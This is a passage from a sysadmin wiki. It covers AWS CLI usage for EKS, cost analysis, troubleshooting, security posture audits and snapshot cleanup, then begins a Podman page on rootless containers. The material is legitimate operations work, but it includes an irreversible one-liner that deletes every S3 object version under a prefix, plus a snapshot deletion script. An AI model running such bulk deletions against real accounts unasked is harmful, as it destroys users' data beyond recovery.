my-namespace aws eks describe-nodegroup --cluster-name prod --nodegroup-name workers --query 'nodegroup.[status,scalingConfig,releaseVersion,health.issues]' aws eks update-nodegroup-version --cluster-name prod --nodegroup-name workers # rolling AMI update to the cluster version aws eks update-nodegroup-config --cluster-name prod --nodegroup-name workers --scaling-config minSize=3,maxSize=12,desiredSize=6 aws eks list-addons --cluster-name prod aws eks describe-addon-versions --addon-name vpc-cni --kubernetes-version 1.34 --query 'addons[0].addonVersions[0].addonVersion' --output text aws eks update-addon --cluster-name prod --addon-name vpc-cni --addon-version v1.20.0-eksbuild.1 --resolve-conflicts PRESERVE aws eks describe-update --name prod --update-id "$UPDATE_ID" # progress of a cluster or nodegroup update aws eks list-insights --cluster-name prod --query 'insights[?insightStatus.status!=`PASSING`].[name,insightStatus.status]' --output text # upgrade blockers ``` Node problems that look like Kubernetes problems: a nodegroup `health.issues` entry of `Ec2SubnetInvalidConfiguration` or `InsufficientFreeAddresses` means the subnet is out of IPs, and pods stuck `ContainerCreating` with `failed to assign an IP address` is the same problem at the pod level (VPC CNI takes one address per pod unless prefix delegation is on). Check `aws ec2 describe-subnets --subnet-ids --query 'Subnets[].AvailableIpAddressCount'`. A `kubectl` that fails with `the server has asked for the client to provide credentials` means `get-token` returned an identity with no access entry; `aws sts get-caller-identity` shows which one. ## Cost checks ```sh aws ce get-cost-and-usage --time-period Start=2026-08-01,End=2026-09-01 \ --granularity MONTHLY --metrics UnblendedCost --group-by Type=DIMENSION,Key=SERVICE \ --query 'ResultsByTime[].Groups[].[Keys[0],Metrics.UnblendedCost.Amount]' --output text | sort -k2 -rn | head aws ec2 describe-volumes --filters Name=status,Values=available --query 'Volumes[].[VolumeId,Size]' --output text aws ec2 describe-addresses --query 'Addresses[?AssociationId==null].PublicIp' --output text ``` Each Cost Explorer API request is charged (USD 0.01 at review time). Unattached EBS volumes and unassociated Elastic IPs bill continuously; public IPv4 addresses are charged hourly whether or not they are attached. ```sh # Daily spend for the last two weeks, to spot the day something changed aws ce get-cost-and-usage --time-period Start="$(date -d '14 days ago' +%F)",End="$(date +%F)" --granularity DAILY --metrics UnblendedCost \ --query 'ResultsByTime[].[TimePeriod.Start,Metrics.UnblendedCost.Amount]' --output text # This month by a cost allocation tag (tag must be activated in Billing first) aws ce get-cost-and-usage --time-period Start="$(date +%Y-%m-01)",End="$(date +%F)" --granularity MONTHLY --metrics UnblendedCost \ --group-by Type=TAG,Key=Team --query 'ResultsByTime[].Groups[].[Keys[0],Metrics.UnblendedCost.Amount]' --output text | sort -k2 -rn # Usage types inside one service: which EC2 line items are growing aws ce get-cost-and-usage --time-period Start="$(date +%Y-%m-01)",End="$(date +%F)" --granularity MONTHLY --metrics UnblendedCost \ --filter '{"Dimensions":{"Key":"SERVICE","Values":["Amazon Elastic Compute Cloud - Compute"]}}' \ --group-by Type=DIMENSION,Key=USAGE_TYPE --query 'ResultsByTime[].Groups[].[Keys[0],Metrics.UnblendedCost.Amount]' --output text | sort -k2 -rn | head # Forecast to month end aws ce get-cost-forecast --time-period Start="$(date +%F)",End="$(date -d "$(date +%Y-%m-01) +1 month" +%F)" --metric UNBLENDED_COST --granularity MONTHLY --query Total.Amount --output text # Rightsizing and idle recommendations aws ce get-rightsizing-recommendation --service AmazonEC2 --query 'RightsizingRecommendations[].[CurrentInstance.ResourceId,RightsizingType,CurrentInstance.MonthlyCost]' --output text aws compute-optimizer get-ec2-instance-recommendations --query 'instanceRecommendations[?finding==`Overprovisioned`].[instanceArn,recommendationOptions[0].instanceType]' --output text # Savings Plans and RI coverage this month aws ce get-savings-plans-utilization --time-period Start="$(date +%Y-%m-01)",End="$(date +%F)" --query 'Total.Utilization.UtilizationPercentage' --output text aws ce get-reservation-coverage --time-period Start="$(date +%Y-%m-01)",End="$(date +%F)" --query 'Total.CoverageHours.CoverageHoursPercentage' --output text # Budgets and their current state aws budgets describe-budgets --account-id "$(aws sts get-caller-identity --query Account --output text)" --query 'Budgets[].[BudgetName,BudgetLimit.Amount,CalculatedSpend.ActualSpend.Amount]' --output table ``` Cost Explorer data lags by up to 24 hours and `End` is exclusive. Snapshots (`aws ec2 describe-snapshots --owner-ids self`) and old AMIs are the other quiet bill; Data Lifecycle Manager or a tag-driven cleanup script keeps them bounded. ## Troubleshooting | Symptom | Cause | Check | | --- | --- | --- | | `Unable to locate credentials` | No source in the chain answered | `aws configure list`; `aws sso login` | | `The SSO session associated with this profile has expired` | Cached SSO token expired | `aws sso login --profile ` | | `ExpiredToken` | Exported temporary credentials outlived their session | Unset `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN` | | Right command, wrong account | Environment variables override the profile | `aws sts get-caller-identity`; `env \| grep -c '^AWS_'` | | `AccessDenied` with an encoded message | Missing allow, or a guardrail denies | `aws sts decode-authorization-message` | | `AccessDenied` although the policy allows | SCP, RCP, permission boundary, resource policy or KMS key policy | Simulate; check the key policy for encrypted resources | | Empty result, no error | Wrong region; most resources are regional | `aws configure get region`, `--region` | | `Could not connect to the endpoint URL` | Invalid region name, proxy or no network path | `--debug 2>&1 \| grep -i endpoint` | | `ThrottlingException` or `Rate exceeded` | API rate limit | `AWS_RETRY_MODE=adaptive`, `AWS_MAX_ATTEMPTS=10` | | `SignatureDoesNotMatch` or `RequestTimeTooSkewed` | Local clock drift | `timedatectl`; sync NTP | | `ssm start-session` fails with `TargetNotConnected` | SSM agent offline, no instance role, or no route to SSM endpoints | `aws ssm describe-instance-information` | | `SessionManagerPlugin is not found` | Plugin not installed on the workstation | Install `session-manager-plugin`; `session-manager-plugin --version` | | `kubectl` says `the server has asked for the client to provide credentials` | Identity from `aws eks get-token` has no access entry | `aws sts get-caller-identity`; `aws eks list-access-entries --cluster-name ` | | Pods `ContainerCreating` with `failed to assign an IP address` | Subnet out of addresses (VPC CNI) | `aws ec2 describe-subnets --query 'Subnets[].[SubnetId,AvailableIpAddressCount]'` | | `Not authorized to perform sts:AssumeRoleWithWebIdentity` | Trust policy `sub`/`aud` condition does not match the token | Decode the token claims; compare with the trust policy `Condition` | | `AccessDenied` on `s3:ListBucket` while `GetObject` works | Policy grants object actions on `bucket/*` but not `ListBucket` on the bucket ARN | `aws iam simulate-principal-policy --action-names s3:ListBucket --resource-arns arn:aws:s3:::my-bucket` | | `KMS.AccessDeniedException` reading an encrypted object or parameter | Key policy does not grant the principal `kms:Decrypt` | `aws kms get-key-policy --key-id --policy-name default` | | Logs Insights returns no rows | Time units wrong (seconds vs milliseconds), or the field is not auto-discovered | `--start-time` in seconds for `start-query`; use `parse` for unstructured lines | | `InvalidParameterValue` on `--tag-specifications` or `--ip-permissions` | Shorthand syntax mismatch | Use `--generate-cli-skeleton` and pass `--cli-input-json file://` | | Cost Explorer shows zero for a tag | Tag not activated as a cost allocation tag, or activated after the spend | Billing console tag activation; wait 24 h | | `An error occurred (ValidationException) ... nodegroup` update stuck | Pod disruption budgets block node drain | `kubectl get pdb -A`; `aws eks describe-update` shows the error | `--debug` prints every request, the endpoint and the credential provider that answered. It can include signed headers, so do not paste it into tickets unedited. ## Oneliners ```sh # Confirm account and region before anything destructive aws sts get-caller-identity --query '[Account,Arn]' --output text; aws configure get region # Running instances in every enabled region for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do aws ec2 describe-instances --region "$r" --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[InstanceId,InstanceType]' --output text | sed "s/^/$r /"; done # Instance ID from a Name tag aws ec2 describe-instances --filters 'Name=tag:Name,Values=web-01' --query 'Reservations[0].Instances[0].InstanceId' --output text # Security groups with ingress open to the internet (IPv4 or IPv6) aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`] || Ipv6Ranges[?CidrIpv6==`::/0`]]].[GroupId,GroupName]' --output text # Buckets without a full public access block for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do aws s3api get-public-access-block --bucket "$b" --query 'PublicAccessBlockConfiguration.[BlockPublicAcls,IgnorePublicAcls,BlockPublicPolicy,RestrictPublicBuckets]' --output text 2>/dev/null | grep -q False && echo "$b"; done # Largest objects in a bucket aws s3api list-objects-v2 --bucket my-bucket --query 'sort_by(Contents,&Size)[-10:].[Size,Key]' --output text # Access keys older than 90 days aws iam list-users --query 'Users[].UserName' --output text | tr '\t' '\n' | while read -r u; do aws iam list-access-keys --user-name "$u" --query "AccessKeyMetadata[?CreateDate<='$(date -d '90 days ago' +%Y-%m-%d)'].[UserName,AccessKeyId,CreateDate]" --output text; done # Who acted on an instance aws cloudtrail lookup-events --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-0abc123 --query 'Events[].[EventTime,EventName,Username]' --output text # Copy between buckets without downloading aws s3 sync s3://src-bucket/prefix s3://dst-bucket/prefix --source-region us-east-1 --region ap-southeast-2 # Count of each value of a tag aws ec2 describe-tags --filters Name=key,Values=Environment --query 'Tags[].Value' --output text | tr '\t' '\n' | sort | uniq -c # Instances without an Owner tag aws ec2 describe-instances --query 'Reservations[].Instances[?!not_null(Tags[?Key==`Owner`].Value|[0])].[InstanceId,LaunchTime]' --output text # Instances still allowing IMDSv1 aws ec2 describe-instances --filters Name=metadata-options.http-tokens,Values=optional --query 'Reservations[].Instances[].InstanceId' --output text # Private IP to instance name map for the whole account aws ec2 describe-instances --query 'Reservations[].Instances[].[PrivateIpAddress, Tags[?Key==`Name`].Value|[0]]' --output text | sort -t. -k1,1n -k2,2n -k3,3n -k4,4n # Unencrypted EBS volumes aws ec2 describe-volumes --filters Name=encrypted,Values=false --query 'Volumes[].[VolumeId,Size,Attachments[0].InstanceId]' --output text # Snapshots older than a year, with size aws ec2 describe-snapshots --owner-ids self --query "Snapshots[?StartTime<='$(date -d '1 year ago' +%Y-%m-%d)'].[SnapshotId,VolumeSize,StartTime,Description]" --output text # AMIs you own that no instance uses comm -23 <(aws ec2 describe-images --owners self --query 'Images[].ImageId' --output text | tr '\t' '\n' | sort) <(aws ec2 describe-instances --query 'Reservations[].Instances[].ImageId' --output text | tr '\t' '\n' | sort -u) # Security groups attached to nothing comm -23 <(aws ec2 describe-security-groups --query 'SecurityGroups[?GroupName!=`default`].GroupId' --output text | tr '\t' '\n' | sort) <(aws ec2 describe-network-interfaces --query 'NetworkInterfaces[].Groups[].GroupId' --output text | tr '\t' '\n' | sort -u) # Subnets running low on addresses aws ec2 describe-subnets --query 'Subnets[?AvailableIpAddressCount<`20`].[SubnetId,CidrBlock,AvailableIpAddressCount,Tags[?Key==`Name`].Value|[0]]' --output text # Total size of a bucket prefix without listing every object aws s3 ls s3://my-bucket/logs/ --recursive --summarize | tail -2 # Bucket sizes from CloudWatch (free; updated daily), in GiB for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do printf '%s\t' "$b"; aws cloudwatch get-metric-statistics --namespace AWS/S3 --metric-name BucketSizeBytes --dimensions Name=BucketName,Value="$b" Name=StorageType,Value=StandardStorage --start-time "$(date -d '2 days ago' -u +%FT%TZ)" --end-time "$(date -u +%FT%TZ)" --period 86400 --statistics Average --query 'Datapoints[-1].Average' --output text | awk '{printf "%.1f\n", $1/1073741824}'; done # Buckets without versioning for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do [ "$(aws s3api get-bucket-versioning --bucket "$b" --query Status --output text)" = Enabled ] || echo "$b"; done # Buckets without a lifecycle configuration for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do aws s3api get-bucket-lifecycle-configuration --bucket "$b" >/dev/null 2>&1 || echo "$b"; done # Delete every version and delete marker under a prefix, 1000 at a time (irreversible; run the list-object-versions half alone first to review) aws s3api list-object-versions --bucket my-bucket --prefix tmp/ --query '{Objects: [Versions[].{Key:Key,VersionId:VersionId}, DeleteMarkers[].{Key:Key,VersionId:VersionId}][] | [0:1000], Quiet: `true`}' --output json | aws s3api delete-objects --bucket my-bucket --delete file:///dev/stdin # Roles nobody has used in 90 days aws iam list-roles --query "Roles[?RoleLastUsed.LastUsedDate<='$(date -d '90 days ago' +%Y-%m-%d)' || !RoleLastUsed.LastUsedDate].[RoleName,RoleLastUsed.LastUsedDate]" --output text # Users with console passwords but no MFA aws iam generate-credential-report >/dev/null; sleep 5; aws iam get-credential-report --query Content --output text | base64 -d | awk -F, 'NR>1 && $4=="true" && $8=="false" {print $1}' # Policies that grant Action "*" on Resource "*" for arn in $(aws iam list-policies --scope Local --query 'Policies[].Arn' --output text); do v=$(aws iam get-policy --policy-arn "$arn" --query Policy.DefaultVersionId --output text); aws iam get-policy-version --policy-arn "$arn" --version-id "$v" --query 'PolicyVersion.Document.Statement[?Effect==`Allow` && (Action==`*` || contains(Action, `*`)) && Resource==`*`]' --output text | grep -q . && echo "$arn"; done # Who is allowed to assume a role aws iam get-role --role-name Deploy --query 'Role.AssumeRolePolicyDocument.Statement[].Principal' --output json # Console sign-ins in the last day, by user aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin --start-time "$(date -d '1 day ago' -u +%FT%TZ)" --query 'Events[].Username' --output text | tr '\t' '\n' | sort | uniq -c # Every API call by one principal today aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=alice --start-time "$(date -u +%FT00:00:00Z)" --query 'Events[].[EventTime,EventSource,EventName]' --output text # Log groups without retention, with stored size in GiB aws logs describe-log-groups --query 'logGroups[?!retentionInDays].[logGroupName,storedBytes]' --output text | awk '{printf "%s\t%.2f\n", $1, $2/1073741824}' | sort -k2 -rn # Set 30-day retention on every log group that has none aws logs describe-log-groups --query 'logGroups[?!retentionInDays].logGroupName' --output text | tr '\t' '\n' | xargs -r -I{} aws logs put-retention-policy --log-group-name {} --retention-in-days 30 # Lambda functions on a deprecated runtime aws lambda list-functions --query 'Functions[?starts_with(Runtime, `python3.8`) || starts_with(Runtime, `nodejs16`)].[FunctionName,Runtime]' --output text # Lambda error rate in the last hour for one function aws cloudwatch get-metric-statistics --namespace AWS/Lambda --metric-name Errors --dimensions Name=FunctionName,Value=my-fn --start-time "$(date -d '1 hour ago' -u +%FT%TZ)" --end-time "$(date -u +%FT%TZ)" --period 3600 --statistics Sum --query 'Datapoints[0].Sum' --output text # RDS instances that are publicly accessible or unencrypted aws rds describe-db-instances --query 'DBInstances[?PubliclyAccessible || !StorageEncrypted].[DBInstanceIdentifier,PubliclyAccessible,StorageEncrypted]' --output text # Wait for an RDS snapshot then print its ARN aws rds wait db-snapshot-completed --db-snapshot-identifier pre-change && aws rds describe-db-snapshots --db-snapshot-identifier pre-change --query 'DBSnapshots[0].DBSnapshotArn' --output text # EKS: cluster version and every nodegroup's release version (mismatch means a pending upgrade) aws eks describe-cluster --name prod --query cluster.version --output text; for ng in $(aws eks list-nodegroups --cluster-name prod --query 'nodegroups[]' --output text); do aws eks describe-nodegroup --cluster-name prod --nodegroup-name "$ng" --query 'nodegroup.[nodegroupName,version,releaseVersion,status]' --output text; done # EKS: access entries and their policies for p in $(aws eks list-access-entries --cluster-name prod --query 'accessEntries[]' --output text); do echo "$p"; aws eks list-associated-access-policies --cluster-name prod --principal-arn "$p" --query 'associatedAccessPolicies[].[policyArn,accessScope.type]' --output text | sed 's/^/ /'; done # SSM: managed instances whose agent has not checked in for a day aws ssm describe-instance-information --query "InstanceInformationList[?LastPingDateTime<='$(date -d '1 day ago' -u +%FT%TZ)'].[InstanceId,PingStatus,LastPingDateTime]" --output text # SSM: run one command on every instance with a tag and print output per host CMD=$(aws ssm send-command --document-name AWS-RunShellScript --targets Key=tag:Environment,Values=prod --parameters 'commands=["uptime"]' --query Command.CommandId --output text); sleep 10; aws ssm list-command-invocations --command-id "$CMD" --details --query 'CommandInvocations[].[InstanceId,Status,CommandPlugins[0].Output]' --output text # Parameter Store: every parameter under a path with its last modification aws ssm get-parameters-by-path --path /my-app/ --recursive --query 'Parameters[].[Name,Type,Version,LastModifiedDate]' --output table # Service quotas you are close to (EC2 vCPU example) aws service-quotas get-service-quota --service-code ec2 --quota-code L-1216C47A --query 'Quota.Value' --output text; aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].CpuOptions.[CoreCount,ThreadsPerCore]' --output text | awk '{s+=$1*$2} END {print s " vCPUs in use"}' # Regions where you have any EC2 resources at all for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do n=$(aws ec2 describe-instances --region "$r" --query 'length(Reservations[].Instances[])' --output text); [ "$n" = 0 ] || echo "$r $n"; done # Retry-hardened settings for a scripted session export AWS_RETRY_MODE=adaptive AWS_MAX_ATTEMPTS=10 AWS_PAGER="" ``` ## Scripts Produce a one-page security posture report for an account: public buckets, open security groups, IMDSv1 instances, stale keys and roles, and log groups without retention. ```sh #!/usr/bin/env bash # account-audit.sh [profile]: read-only posture checks, one section per finding class set -euo pipefail export AWS_PAGER="" AWS_RETRY_MODE=adaptive AWS_MAX_ATTEMPTS=10 [ $# -eq 0 ] || export AWS_PROFILE=$1 acct=$(aws sts get-caller-identity --query '[Account,Arn]' --output text) printf 'Account/identity: %s\nRegion: %s\n\n' "$acct" "$(aws configure get region || echo unset)" section() { printf '== %s ==\n' "$1"; } section "Buckets without full public access block" for b in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do aws s3api get-public-access-block --bucket "$b" --query 'PublicAccessBlockConfiguration.[BlockPublicAcls,IgnorePublicAcls,BlockPublicPolicy,RestrictPublicBuckets]' --output text 2>/dev/null | grep -q False && echo "$b" done || true section "Security groups open to the world on ports other than 80/443" aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?(IpRanges[?CidrIp==`0.0.0.0/0`] || Ipv6Ranges[?CidrIpv6==`::/0`]) && !(FromPort==`80` || FromPort==`443`)]].[GroupId,GroupName]' --output text section "Instances allowing IMDSv1" aws ec2 describe-instances --filters Name=metadata-options.http-tokens,Values=optional Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[InstanceId,Tags[?Key==`Name`].Value|[0]]' --output text section "Unencrypted volumes" aws ec2 describe-volumes --filters Name=encrypted,Values=false --query 'Volumes[].[VolumeId,Size]' --output text section "Access keys older than 90 days" cutoff=$(date -d '90 days ago' +%Y-%m-%d) for u in $(aws iam list-users --query 'Users[].UserName' --output text); do aws iam list-access-keys --user-name "$u" --query "AccessKeyMetadata[?CreateDate<='$cutoff' && Status=='Active'].[UserName,AccessKeyId,CreateDate]" --output text done section "Roles unused for 90 days" aws iam list-roles --query "Roles[?!starts_with(Path, '/aws-service-role/') && (RoleLastUsed.LastUsedDate<='$cutoff' || !RoleLastUsed.LastUsedDate)].RoleName" --output text | tr '\t' '\n' section "Log groups without retention (GiB stored)" aws logs describe-log-groups --query 'logGroups[?!retentionInDays].[logGroupName,storedBytes]' --output text | awk '{printf "%s\t%.2f\n", $1, $2/1073741824}' | sort -k2 -rn | head -20 section "CloudTrail" aws cloudtrail describe-trails --query 'trailList[].[Name,IsMultiRegionTrail,LogFileValidationEnabled]' --output text ``` Tag-driven cleanup of EBS snapshots: delete snapshots older than a retention period unless tagged `Retain=true` or still referenced by an AMI, with a dry run by default. ```sh #!/usr/bin/env bash # snapshot-prune.sh DAYS [--apply]: delete own EBS snapshots older than DAYS unless retained or used by an AMI set -euo pipefail days=$1; apply=${2:-} export AWS_PAGER="" cutoff=$(date -d "$days days ago" +%Y-%m-%dT%H:%M:%SZ) in_use=$(aws ec2 describe-images --owners self --query 'Images[].BlockDeviceMappings[].Ebs.SnapshotId' --output text | tr '\t' '\n' | sort -u) count=0; bytes=0 while read -r id size start retain; do [ -n "$id" ] || continue [ "$retain" = true ] && continue grep -qx "$id" <<<"$in_use" && continue count=$((count + 1)); bytes=$((bytes + size)) if [ "$apply" = --apply ]; then aws ec2 delete-snapshot --snapshot-id "$id" && echo "deleted $id ($size GiB, $start)" else echo "would delete $id ($size GiB, $start)" fi done < <(aws ec2 describe-snapshots --owner-ids self --query "Snapshots[?StartTime<='$cutoff'].[SnapshotId,VolumeSize,StartTime,Tags[?Key=='Retain'].Value|[0]]" --output text) printf '%d snapshots, %d GiB %s\n' "$count" "$bytes" "$([ "$apply" = --apply ] && echo deleted || echo 'to delete (pass --apply)')" ``` Poll a Logs Insights query to completion and print the result as a table, for use in runbooks and cron jobs. ```python #!/usr/bin/env python3 """Run a CloudWatch Logs Insights query and print a table. Usage: insights.py LOG_GROUP MINUTES 'QUERY' [more log groups...] Example: insights.py /aws/lambda/my-fn 60 'filter @message like /ERROR/ | stats count() by bin(5m)' """ import sys import time import boto3 group, minutes, query, *more = sys.argv[1:] logs = boto3.client("logs") now = int(time.time()) start = logs.start_query(logGroupNames=[group, *more], startTime=now - int(minutes) * 60, endTime=now, queryString=query) qid = start["queryId"] while True: res = logs.get_query_results(queryId=qid) if res["status"] in ("Complete", "Failed", "Cancelled", "Timeout"): break time.sleep(1) if res["status"] != "Complete": sys.exit(f"query {res['status']}") rows = [{c["field"]: c["value"] for c in r if c["field"] != "@ptr"} for r in res["results"]] if not rows: sys.exit("no results") cols = list(rows[0]) width = {c: max(len(c), *(len(r.get(c, "")) for r in rows)) for c in cols} print(" ".join(c.ljust(width[c]) for c in cols)) for r in rows: print(" ".join(r.get(c, "").ljust(width[c]) for c in cols)) stats = res["statistics"] print(f"\n{stats['recordsMatched']:.0f} matched, {stats['bytesScanned'] / 1e9:.2f} GB scanned", file=sys.stderr) ``` ## Further reading - [AWS CLI v2 user guide](https://docs.aws.amazon.com/cli/latest/userguide/) and [command reference](https://docs.aws.amazon.com/cli/latest/reference/) - [Controlling command output (JMESPath)](https://docs.aws.amazon.com/cli/latest/userguide/cli-usage-output.html) - [IAM policy evaluation logic](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html) and [condition keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html) - [CloudWatch Logs Insights query syntax](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_QuerySyntax.html) - [EKS access entries](https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html) and [Pod Identity](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) - [S3 lifecycle configuration](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html) --- # Podman > Run rootless containers and pods with Podman, mount volumes past SELinux, and manage them as systemd services with Quadlet and auto-update. Canonical: https://www.wiki.jodisand.me/podman/ Reviewed: 2026-09-24 Related: [Docker](https://www.wiki.jodisand.me/docker/index.md), [Docker Compose](https://www.wiki.jodisand.me/docker-compose/index.md), [systemd](https://www.wiki.jodisand.me/systemd/index.md), [Users, permissions and SELinux](https://www.wiki.jodisand.me/users/index.md), [Caddy](https://www.wiki.jodisand.me/caddy/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Rootless, cgroup and network facts | `podman info --format '{{.Host.Security.Rootless}} {{.Host.CgroupsVersion}} {{.Host.NetworkBackend}}'` | | Run detached with a published port | `podman run -d --name my-app -p 8080:8080 registry.example.com/my-app:1.4` | | Bind mount with a private SELinux label | `podman run -v ./data:/data:Z ...` | | Run as your own UID inside the container | `podman run --userns=keep-id ...` | | Shell in a running container | `podman exec -it my-app sh` | | Follow logs | `podman logs -f --since 10m my-app` | | Inspect a field | `podman inspect -f '{{.State.Health.Status}}' my-app` | | Create a network with DNS | `podman network create my-net` | | Create a pod that publishes a port | `podman pod create --name my-pod -p 8080:80` | | Run in that pod | `podman run -d --pod my-pod nginx:1.29` | | Reload Quadlet units | `systemctl --user daemon-reload` | | Start a Quadlet service | `systemctl --user start my-app.service` | | Show what Quadlet generated | `/usr/lib/systemd/system-generators/podman-system-generator --user --dryrun` | | Keep user services running after logout | `loginctl enable-linger "$USER"` | | Check for image updates without applying | `podman auto-update --dry-run` | | Login to a registry | `podman login registry.example.com` | | Run a command as the user-namespace root | `podman unshare chown -R 1000:1000 ./data` | | Disk usage by images, containers, volumes | `podman system df -v` | | Remove stopped containers, dangling images | `podman system prune` | | Health check now | `podman healthcheck run my-app` | | Kubernetes YAML from a pod | `podman kube generate my-pod > my-pod.yaml` | | Run Kubernetes YAML | `podman kube play my-pod.yaml` | Behaviour below is Podman 5.x on Fedora or RHEL 9 with netavark, aardvark-dns, pasta and crun. Check with `podman version` and `podman info`. Reference: [docs.podman.io](https://docs.podman.io/en/latest/). ## Rootless and how it differs from Docker Podman has no daemon. Each `podman` invocation forks the container as a child process (via `conmon`, which stays behind to hold the PTY and exit code), so containers belong to the user who started them, appear in that user's process tree and die with the user session unless systemd keeps them alive. The CLI is deliberately Docker-compatible: `alias docker=podman` covers nearly everything on this page, and `podman.socket` serves the Docker REST API for tools that need a socket. The differences that matter in operation: | Docker | Podman | | --- | --- | | Root daemon; `docker` group is root-equivalent | No daemon; rootless by default, root only with `sudo podman` | | One image store in `/var/lib/docker` | One store per user: `~/.local/share/containers/storage`; root uses `/var/lib/containers/storage`. `sudo podman ps` does not show your containers | | Bridge networking with iptables as root | Rootless: `pasta` user-mode stack; rootful: `netavark` bridge with nftables | | Compose built in | `podman compose` delegates to `podman-compose` or `docker-compose` | | `restart: always` handled by the daemon | Restarts are systemd's job: Quadlet units | | Container UID 0 is host root | Container UID 0 is your UID; other UIDs map into your subordinate range | Rootless containers run inside a user namespace. Your UID maps to 0 in the container and the ranges in `/etc/subuid` and `/etc/subgid` supply the remaining IDs, so container UID 1 becomes the first ID in your range. `useradd` on Fedora and RHEL allocates 65536 IDs per new user; accounts created by other means (IdM, `adduser` on older systems, cloud images) often have none. ```sh grep "^$USER:" /etc/subuid /etc/subgid # user:start:count, for example jfields:100000:65536 podman unshare cat /proc/self/uid_map # the mapping podman actually uses # 0 1000 1 # 1 100000 65536 sudo usermod --add-subuids 200000-265535 --add-subgids 200000-265535 my-user # allocate a range podman system migrate # required after changing subuid/subgid so the pause process restarts ``` `podman unshare` runs a command inside that user namespace, which is how you fix file ownership for volumes: a file owned by container UID 1000 appears on the host as UID 100999, and `podman unshare chown 1000:1000 file` sets that without needing root. `--userns=keep-id` maps your host UID to the same number inside the container instead, so a container process running as your UID reads and writes bind mounts as you; `--userns=keep-id:uid=1000,gid=1000` maps you onto a specific in-container ID for images that hard-code one. `--userns=auto` (rootful only) gives every container a disjoint range from `/etc/subuid` entries for `containers`. Rootless networking uses `pasta` (default since Podman 5.0; `slirp4netns` in 4.x and still selectable with `--network=slirp4netns`). pasta copies the host's addresses and routes into the namespace, so the container sees the host's IP rather than a 10.0.2.x one, and preserves client source addresses on published ports, which slirp4netns did not. The host is reachable from a container as `host.containers.internal`. Containers on the default network cannot resolve each other by name; see [Networks and DNS between containers](#networks-and-dns-between-containers). Publishing a port below 1024 needs `net.ipv4.ip_unprivileged_port_start` lowered (see [Troubleshooting](#troubleshooting)). Resource limits under rootless need cgroups v2 with the controllers delegated to the user slice. Fedora and RHEL 9 delegate `cpu`, `memory`, `pids` and `io` by default; `podman run --memory 512m` with an "OCI runtime error: ... controller not available" means delegation is missing, fixed with a `user@.service` drop-in (`[Service] Delegate=memory pids cpu cpuset io`) and `systemctl daemon-reload`. ## Images and registries Podman rejects short names it cannot resolve unambiguously. `podman pull nginx` consults `unqualified-search-registries` in `/etc/containers/registries.conf` and prompts on a terminal; in a script it fails. Use fully qualified names everywhere so the image you run is the image you meant. ```sh podman pull docker.io/library/nginx:1.29 # fully qualified: no prompt, no ambiguity podman pull --platform linux/arm64 registry.example.com/my-app:1.4 podman images --format '{{.Repository}}:{{.Tag}} {{.Size}} {{.Created}}' podman image inspect -f '{{.Digest}} {{.Architecture}}' registry.example.com/my-app:1.4 podman image tree registry.example.com/my-app:1.4 # layers and what shares them podman login registry.example.com # credentials in ${XDG_RUNTIME_DIR}/containers/auth.json podman login --authfile ~/.config/containers/auth.json registry.example.com # persistent location podman build -t registry.example.com/my-app:1.4 -f Containerfile . podman build --platform linux/amd64,linux/arm64 --manifest registry.example.com/my-app:1.4 . podman manifest push --all registry.example.com/my-app:1.4 # multi-arch manifest list podman push registry.example.com/my-app:1.4 podman save -o my-app.tar registry.example.com/my-app:1.4 && podman load -i my-app.tar podman image prune -a # removes every image without a container: rebuilds and re-pulls follow ``` `/etc/containers/registries.conf.d/` takes drop-ins for mirrors, insecure registries and short-name aliases, and `/etc/containers/policy.json` decides which signatures a pull requires. Containerfile syntax is Dockerfile syntax; see [Docker](https://www.wiki.jodisand.me/docker/#dockerfile) for the build-stage patterns. ```toml # /etc/containers/registries.conf.d/mirror.conf [[registry]] prefix = "docker.io" location = "docker.io" [[registry.mirror]] location = "mirror.example.com/docker" # tried first; falls back to docker.io on failure [[registry]] location = "registry.internal.example.com" insecure = true # plain HTTP or untrusted TLS; lab use only ``` ## Running containers ```sh podman run -d --name my-app \ -p 127.0.0.1:8080:8080 \ # bind to loopback; without an address, every interface -e TZ=Australia/Melbourne --env-file ./my-app.env \ -v my-app-data:/var/lib/my-app \ # named volume; created on first use -v ./config:/etc/my-app:ro,Z \ # read-only bind mount with a private SELinux label --secret my-app-token,type=env,target=API_TOKEN \ --memory 512m --pids-limit 256 \ --read-only --tmpfs /tmp \ # immutable rootfs; writable scratch --cap-drop ALL --security-opt no-new-privileges \ --health-cmd 'curl -fsS http://localhost:8080/healthz || exit 1' --health-interval 30s \ --label io.containers.autoupdate=registry \ registry.example.com/my-app:1.4 podman ps -a --format '{{.Names}}\t{{.Status}}\t{{.Ports}}' podman stop -t 20 my-app # SIGTERM, SIGKILL after 20 s (default 10) podman rm -f my-app # stop and remove; anonymous volumes stay unless -v podman stats --no-stream # CPU, memory, network per container podman top my-app # processes with host and container PIDs podman port my-app podman cp my-app:/var/log/my-app/app.log . podman diff my-app # files changed against the image layer podman commit my-app registry.example.com/my-app:debug # snapshot; for debugging, not for release ``` `podman secret create 